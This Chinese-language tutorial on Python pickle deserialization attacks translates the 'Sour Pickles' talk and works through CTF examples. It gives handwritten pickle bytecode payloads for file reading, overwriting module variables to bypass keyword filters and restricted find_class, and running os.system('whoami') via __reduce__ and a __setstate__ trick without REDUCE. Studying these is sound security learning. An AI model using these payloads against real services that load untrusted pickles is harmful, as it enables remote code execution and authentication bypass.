python_pickle
参考文献:
https://zhuanlan.zhihu.com/p/89132768
https://sensepost.com/cms/resources/conferences/2011/sour_pickles/BH_US_11_Slaviero_Sour_Pickles.pdf
写作背景
遇到过两次pickle相关的题,照着网上的博客学了不少姿势,但一次没出。
基本通读了BH_US_11__Slaviero_Sour_Pickles
那篇文章,且因为闲的蛋疼还不想干别的,给它做了翻译。
从BH_US_11
开始
首先,我们需要明确类对象(class object)和类实例(class instance)的区别。我们之前往往用类和对象称呼它们。从下面的案例可以看到,前者更符合Python2版本的称号,而后者更符合Python3。我们对这两种称呼方式都需要适应,且千万别搞混了。
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
print(User)
#__main__.User (PY2.7)
#<class '__main__.User'> (PY3.9)
Zhangsan=User('Zhangsan',123)
print(Zhangsan)
#<__main__.User instance at 0x0000000003726CC8> (PY2.7)
#<__main__.User object at 0x0000027CF1C1CFA0> (PY3.9)
由于这篇文章非常老,其中介绍的攻击方式只有早都烂大街的REDUCE
。但这并不影响我们阅读学习Pickle的原理和手搓字节码的技巧、接下来我们练习一下(均使用Python2.7)。Pickle字节码及其用法见BH_US_11
附录。
1.直接执行print('hello pickle!',100)
没有限制的条件下,当然使用REDUCE
。
预先准备好其两个参数:第一个是可调函数c__builtin__\nprint\n
;
第二个是元组形式的输出内容,需要用MARK和t将其先行组装(S'hello pickle!'\nI100\nt
。
最后直接执行REDUCE
再STOP
即可;栈中也只会剩下一个结果元素。
b"c__builtin__\nprint\n(S'hello pickle!'\nI100\ntR."
2.读取桌面上的Todo_list.txt文件并将其内容输出于控制台中
这个东西乍一看非常简单;用Python写的话,也可仅需一行代码;不过为了清楚起见,我们将它拆开写:
#print(open('C:\Users\hiddener\Desktop\Todo_list.txt').read())
f=open('C:\Users\hiddener\Desktop\Todo_list.txt')
a=f.read()
print(a)
按照之前的思路,我们引入R的参数,执行REDUCE
来生成f:
b"c__builtin__\nopen\n(S'C:\Users\hiddener\Desktop\Todo_list.txt'\ntR."
print(pickle.loads(b"c__builtin__\nopen\n."))
#<built-in function open>
print(pickle.loads(b"c__builtin__\nopen\n(S'C:\Users\hiddener\Desktop\Todo_list.txt'\ntR."))
#<open file 'C:\\Users\\hiddener\\Desktop\\Todo_list.txt', mode 'r' at 0x0000000002E21030>
print(open)
#<built-in function open>
f=open('C:\Users\hiddener\Desktop\Todo_list.txt')
print(f)
#<open file 'C:\\Users\\hiddener\\Desktop\\Todo_list.txt', mode 'r' at 0x0000000002E21030>
但接下来问题就产生了:如何执行f.read()
?这是个在BH_US
中被反复强调的点:
- Python类必须存在于模块的最顶层,这意味着上述类对象只能是模块里的类(eg:
__builtin__.file
)或模块函数(eg:os.system
)。这里有一个很重要的知识点:GLOBAL
不会加载类实例(class instances),他只加载类对象(class objects)。同样,Pickle也不能直接与类实例进行交互。
f.read
实际上是__builtin__.file.read
(虽然print(file)结果为<type 'file'>
,不包含<built-in>
),不处于模块的最顶层,所以无法执行。
这时,我们就得搬出Python2的一些内置函数了。
getattr(object, name[, default])
函数用于返回一个对象的属性值。
apply(func f[, *args, [**kwargs]])
间接执行函数f。如果f有关键字参数,则*args
不为空;如果其有元组参数,则**kwargs
不为空。
def apply(f, *args, **kw):
return f(*args, **kw)
于是,我们想模拟的Python代码就发生了改变:
print(apply(getattr(file,'read'),[open('C:\Users\hiddener\Desktop\Todo_list.txt')]))
之前那段还是可以使用的;只不过它变成了apply()
的第二个参数,且要把它转化为列表list
。
b"(c__builtin__\nopen\n(S'C:\Users\hiddener\Desktop\Todo_list.txt'\ntRl."
通过getattr准备read方法 作为apply的第一个参数;注意file也要使用GLOBAL引入:
b"c__builtin__\ngetattr\n(c__builtin__\nfile\nS'read'\ntR."
准备好调用apply的模板:
b"c__builtin__\napply\n(1\n2\ntR."
将上述两个参数填入模板;注意不要把STOP带进去,同时1和2后面的\n
都得删去(因为两参数的末尾命令R
和l
都不需要使用\n
分隔:
b"c__builtin__\napply\n(c__builtin__\ngetattr\n(c__builtin__\nfile\nS'read'\ntR(c__builtin__\nopen\n(S'C:\Users\hiddener\Desktop\Todo_list.txt'\ntRltR."
最后加个print就行了;是1里的内容,不再重复。
上述说明的是BH_US
重点描述的方法;实际上,不使用apply()也可以正常实现要求,其对应的代码是:
print((getattr(file,'read')(open('C:\Users\hiddener\Desktop\Todo_list.txt'))))
对应的Pickle字节码是:
b"c__builtin__\ngetattr\n(c__builtin__\nfile\nS'read'\ntR(c__builtin__\nopen\n(S'C:\Users\hiddener\Desktop\Todo_list.txt'\ntRtR."
Python3中的Pickle
适应变化
众所周知,Pickle版本是向前兼容的;这也是我们无论如何仍然坚持用Version 0
手搓字节码的原因之一(另一原因是这个版本最易于人理解)。
然而,进入Python3,Pickle还是会发生一些变化;影响它的最直观因素就是,Python内建函数变了。
apply()
函数被彻底弃用,用于文档读写的类和方法等都有所修改,bytes()数据类型也发生了变化。下面是探索、构造适合使用Pickle执行的Python代码的过程:
print(open)
#<built-in function open>
print(open(r'C:\Users\hiddener\Desktop\Todo_list.txt','rb'))
#<_io.BufferedReader name='C:\\Users\\hiddener\\Desktop\\Todo_list.txt'>
print(io)
#<module 'io' from 'D:\\Python39\\lib\\io.py'>
print(getattr(io.BufferedReader,'read'))
#<method 'read' of '_io.BufferedReader' objects>
print(getattr(io.BufferedReader,'read')(open(r'C:\Users\hiddener\Desktop\Todo_list.txt','rb')))
#final command
下面开始生成字节码。
获取io.BufferedReader对象的read方法:
b"c__builtin__\ngetattr\n(cio\nBufferedReader\nS'read'\ntR."
以比特流只读形式打开文件:
b"c__builtin__\nopen\n(S'C://Users/hiddener/Desktop/Todo_list.txt'\nS'rb'\ntR."
用前者作为可调函数,后者作为参数,执行调用:
b"c__builtin__\ngetattr\n(cio\nBufferedReader\nS'read'\ntR(c__builtin__\nopen\n(S'C://Users/hiddener/Desktop/Todo_list.txt'\nS'rb'\ntRtR."
与之前所述内容大同小异。
注:本文所述内容不能使人理解为什么BH_US
一文坚持用apply()
(其实我也不太理解);我推测是因为这里的样例不涉及args
。在Python3中,类似apply(self.run,self.args)
的语句可用self.run(*self.args)
替代;注意必须要有*号。
构建对象
写了这么多,才发现一个问题:之前都忙着实现功能,连构建对象这个经典例子兼Pickle的初心,都没有介绍。
说到构建对象,之前写的那一大堆玩意还真都没啥用,只能用dumps看看:
'''example -1'''
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
hiddener=User("hiddener",123)
Shellcode=pickle.dumps(hiddener,protocol=0)
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nUser\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVusername\np6\nVhiddener\np7\nsVtoken\np8\nI123\nsb.'
看到很多p,但没有g,先把这些存内存的无效操作都剔除:
b'ccopy_reg\n_reconstructor\n(c__main__\nUser\nc__builtin__\nobject\nNtR(dVusername\nVhiddener\nsVtoken\nI123\nsb.'
跟踪发现,在执行最后的BUILD
时,栈里还有两个元素:
- 执行
copy_reg._reconstrctor(__main__.User,__builtin__.object,None)
的结果 - 字典
('username':'hiddener';'token':123)
此处BUILD
的效果,就是调用类实例的__setstate__
方法填充其属性。
对于1中调用的函数,我没有任何思路;但记住它以及它的参数,真要自己写的时候照葫芦画瓢搞就行了。
注意有一处出现了N,是指元素None
,后面不需要接\n
在生成类实例的[属性-值]键值对字典时用到了(dxxx\nxxx\nsxxx....
;这是构建对象时的经典组合。
改一下类,重新生成一次:
'''example 0'''
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
def __reduce__(self):
return (os.system,("whoami",))
hiddener=User("hiddener",123)
Shellcode=pickle.dumps(hiddener,protocol=0)
#b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
发现跟之前的东西完全无关了;这也说明了构建传统命令执行时完全不需要关心对象属性和对象的构建,即BH_US
完全未涉及本小节的原因。
CTF中的Pickle
写到这里,其实剩下的内容已经不多了,且大多都是各个博客讲过的。只是经过上面的学习,我们对这些可以有更深刻的理解。
以下以样例形式介绍各种姿势;R指令码在此处不再赘述,默认禁止。
全局包含过判断1
'''example1'''
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
thing=pickle.loads(Shellcode)
if thing.username=='admin' and thing.token==admin.secret:
print("Success!")
此题admin代码我们无法获知,因此不能够直接知道admin.secret的内容;对此,直接GLOBAL包含就行了。
b'ccopy_reg\n_reconstructor\n(c__main__\nUser\nc__builtin__\nobject\nNtR(dVusername\nVadmin\nsVtoken\ncadmin\nsecret\nsb.'
全局包含过判断2[IMPORTANT]
'''IMPORTANT'''
'''example2'''
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
if b"secret" not in Shellcode:
thing=pickle.loads(Shellcode)
if thing.username=='admin' and thing.token==admin.secret:
print("Success!")
本题secret被过滤,不能直接用GLOBAL进行包含;
尝试直接用编码的形式('\x73')绕,但也没有效果:
b'ccopy_reg\n_reconstructor\n(c__main__\nUser\nc__builtin__\nobject\nNtR(dVusername\nVadmin\nsVtoken\ncadmin\n\x73ecret\nsb.'
#这个也不行; \\x73ecret也不行
思路:虽然在GLOBAL的参数中,用编码不能绕,但在STRING的参数中,用编码是能绕的!先用S指令修改admin.secret的值即可!
先给出PAYLOAD:
b"c__main__\nadmin\n(S'\\x73ecret'\nS'1'\ndb0ccopy_reg\n_reconstructor\n(c__main__\nUser\nc__builtin__\nobject\nNtR(dVusername\nVadmin\nsVtoken\nS'1'\nsb."
我们重点叙述修改admin.secret
的部分:
b'c__main__\nadmin\n(S'\\x73ecret'\nS'1'\ndb.'
很好理解的一小段字节码,对应了BUILD尚未提及的另一种效果:直接通过更新其__dict__
填充其属性。
至于绕过,首先,S
中写\x73ecret
是不行的,必须\\x73ecret
;其次,它的大致原理是因为过滤的是bytes()
形式的数据,就用String
形式的数据绕。更具体的绕过原理,我也不懂。
全局包含过判断3
'''example3'''
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
#method 'find_class' in pickle is already OVERWRITTEN by me,and you can only include __main__ with instruction 'GLOBAL'! HAHAHAHA!
if b"secret" not in Shellcode:
thing=pickle.loads(Shellcode)
if thing.username=='admin' and thing.token==admin.secret:
print("Success!")
本题限定了c
指令的第一个参数是__main__
;这可以通过重写pickle源码中的find_class方法实现。显然上述方法也不置用了,我们需要继续构思新姿势。
介绍一个关键知识点:通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!
于是,有思路:
1.引入模块 __main__.admin
。由于命名空间还在main内,故不会被拦截;由于示例程序包含了admin,故不会报错。
2.把一个dict压进栈,内容是{'\\x73ecret','1'}
3.执行BUILD
,会导致__main__.admin.secret
被改写为'1';此处使用的同样是上一题BUILD
直接通过更新其__dict__
填充其属性。的原理。
4.用自己设的值正常绕过判断即可。
PAYLOAD:
b"c__main__\nadmin\n(S'\\x73ecret'\nS'1'\ndb0ccopy_reg\n_reconstructor\n(c__main__\nUser\nc__builtin__\nobject\nNtR(dVusername\nVadmin\nsVtoken\nS'1'\nsb."
这种情境下的payload其实与2中没有什么区别。
example2、3
介绍的绕过方法非常重要,务必掌握。
不使用REDUCE
的RCE
'''example4'''
class User:
没了
#目标是RCE,就不用详细给出受攻击的代码了。
先给出payload,以后原理忘了就无脑调这个用。记得改一下类名和命令就行了。
b'ccopy_reg\n_reconstructor\n(c__main__\nUser\nc__builtin__\nobject\nNtR(dV__setstate__\ncos\nsystem\nsbVwhoami\nb.'
再讲解原理。
这要从pickle源码审计开始:这是BUILD
的源码。
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1] #已经pop()过一个了,这就是要填充属性的对象
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
#先看该对象有无__setstate__方法;如果有就执行,然后退出。
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
#↑危险关键语句,直接把键值对中的值变成__setstate__方法!
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
我们的PAYLOAD干了这样一件事情:初始化一个全空的User对象后,
使用列表{"__setstate__":"os.system"}``BUILD
一次该对象;由于User没有__setstate__
方法,os.system
会直接变成它的__setstate__
方法。再传入Whoami
进行BUILD
,此时该对象已有__setstate__
方法,则会将Whoami
作为参数调用该方法,即执行了os.system("whoami")
。
完结撒花!